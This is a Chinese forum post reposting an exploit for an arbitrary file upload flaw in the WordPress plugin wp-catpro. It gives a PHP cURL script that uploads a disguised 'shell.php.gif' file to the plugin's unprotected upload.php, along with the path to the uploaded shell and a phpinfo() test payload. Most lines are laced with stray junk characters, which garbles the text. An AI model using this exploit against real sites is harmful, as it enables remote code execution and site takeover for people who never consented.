找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2067|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability) q2 o) M' X7 U% J
#-----------------------------------------------------------------------) }0 Z4 @0 ^9 ^' N+ ~& N
3 Q+ o. a: f+ b6 `9 ^5 s$ r
作者  => Zikou-16$ G# L; r2 ~* y" L
邮箱 => zikou16x@gmail.com
  l* I8 ]' z8 Q7 c; \测试系统 : Windows 7 , Backtrack 5r3% f; {& ^( d# J& _5 @# D
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip4 X! ^, ~) B, Y1 K1 r) X
####* p( v/ T$ v. b! b1 @: ?

0 A" n4 y/ j- m2 \" V. T. l#=> Exploit 信息:
  F6 E! Y, F! \) Y------------------3 H" P% q( L) R; L/ q4 _# U
# 攻击者可以上传 file/shell.php.gif
- h% Q7 Y( X& p/ f% L' Q/ m# ("jpg", "gif", "png")  // Allowed file extensions
. {4 W2 `% \5 `3 Q# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)# j7 Z2 |& k/ Z( q) N0 t1 p0 z
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
0 o- T. j1 K% h3 O------------------$ W; D% b1 D/ t! ^. {

2 c" o. b5 w& ?3 k2 g#=> Exploit0 ^1 |+ r/ N# y4 m0 f, d, b. ^
-----------3 [; c- ^$ _" M3 A! {% K
<?php
) Y; m) r  B$ J
1 h, l9 {- f/ B+ t+ O' z3 b/ |$uploadfile="zik.php.gif";
. W. `( m+ \6 A- h! V% Q$ W$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
$ p, ?: P! c2 O2 Acurl_setopt($ch, CURLOPT_POST, true);
; f/ {8 _1 M% S' x: Y% }curl_setopt($ch, CURLOPT_POSTFIELDS,8 O( r9 t! J* _; l% j2 W
array('Filedata'=>"@$uploadfile",  `. G1 K4 s$ o; L9 y. h
'folder'=>'/wp-content/uploads/catpro/'));8 _" q" Q: F4 m5 u
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);' s9 R/ t- W' r. V
$postResult = curl_exec($ch);9 ^3 o0 E2 s- S, v, `4 e2 \) K( D5 c6 G
curl_close($ch);0 A  D  q) j4 B' k
: a5 R" N3 @  ^9 R
print "$postResult";
3 f. I0 |, v9 O( ?* F 9 a' {! g; U- ?  ]
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
1 ]; T( m' Z$ X# z" @4 }+ ?  ?>
+ s/ i, g, j8 R  X2 G1 c<?php
: _# k. r( B- R" `1 L; S- V3 sphpinfo();  \2 R8 `; \0 |; d& l
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表